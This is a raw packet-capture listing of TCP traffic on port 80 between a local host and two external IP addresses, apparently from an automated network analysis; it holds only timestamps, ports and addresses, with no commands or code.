Sep 18, 2024 14:30:08.510492086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510499954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510510921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510514021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510523081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510535002 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510535002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510550022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510559082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510564089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510576963 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510577917 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510605097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510626078 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510926962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.510993004 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.511204004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511248112 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.511396885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511440992 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.511754990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511804104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.511935949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511949062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511960030 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.511982918 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512007952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512135029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512151957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512165070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512180090 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512186050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512195110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512209892 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512236118 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512291908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512305975 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512316942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512331009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512332916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512343884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512356043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512357950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512370110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512379885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.512383938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512399912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512411118 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.512413025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512425900 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.512425900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.512470961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.512813091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512826920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512837887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512871027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512940884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.512984037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.512996912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513010025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513021946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513029099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513035059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513046980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513077021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513159037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513170958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513183117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513201952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513216972 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513346910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513359070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513372898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513385057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.513391018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513398886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513408899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513410091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513442039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.513465881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513465881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513494968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513506889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513519049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513530016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513545990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513561964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513686895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513700008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513734102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.513842106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.513885975 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514033079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514045000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514055967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514069080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514080048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514084101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514094114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514106989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514115095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514127970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514132977 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514139891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514154911 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514168978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514173031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514173031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.514184952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514198065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514199972 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.514210939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514221907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.514225006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.514236927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.514262915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.514698982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514712095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514722109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514767885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514782906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.514853954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514868975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.514902115 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515007973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515021086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515034914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515044928 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515053988 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515090942 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515094042 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.515156031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515167952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515180111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515192032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515198946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515234947 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.515301943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515314102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515326023 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.515337944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515350103 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.515356064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515364885 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.515367031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515379906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515398026 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515403032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515418053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515429974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515433073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515443087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.515453100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.515496016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.516446114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516460896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516474009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516484976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516496897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516505957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516509056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516521931 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516521931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516531944 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516540051 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516545057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516555071 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516561985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516582966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516592026 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516594887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516607046 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.516608000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516618967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.516649008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.516726017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516740084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516752005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516763926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516766071 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516774893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516788006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516799927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516803980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516836882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.516885996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516897917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516908884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516910076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.516921997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.516931057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.516957998 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.517044067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517071009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517082930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517093897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517106056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517112017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517122030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517133951 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517143965 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517174006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517220974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517241001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517252922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517262936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517265081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517278910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517291069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517292023 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.517302990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517314911 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.517321110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.517355919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.517355919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.517384052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517395020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517405987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517419100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517427921 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517431021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517446041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517446041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517476082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517566919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517579079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.517605066 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.517627954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518232107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518249035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518261909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518273115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518285990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518287897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518316031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518333912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518373013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518392086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518405914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518414021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518418074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518429995 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518430948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518444061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518452883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518455982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518469095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518476963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518484116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518496037 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518521070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518533945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518551111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518563032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518568039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518575907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518587112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518590927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518599033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.518610954 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518611908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518625021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518637896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518646955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.518647909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518650055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518683910 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518692970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518704891 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518718004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518740892 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518740892 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518740892 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518779993 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518848896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518861055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518873930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518884897 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.518891096 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518935919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.518935919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519011021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519023895 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519037008 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519048929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519071102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519071102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519165039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519185066 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519196033 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519207954 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519208908 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519208908 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519220114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519232988 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519243002 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519290924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519310951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519321918 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519321918 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519323111 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519335985 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519371986 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519371986 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519485950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519498110 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519510984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519521952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519536018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519537926 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519547939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519555092 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519562006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519575119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519586086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519599915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519599915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519622087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519634962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519644976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519655943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519664049 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519669056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519676924 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519701958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519793987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519805908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519819021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519834995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519841909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519860983 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519864082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519872904 CEST	80	49704	147.45.44.104	192.168.2.7
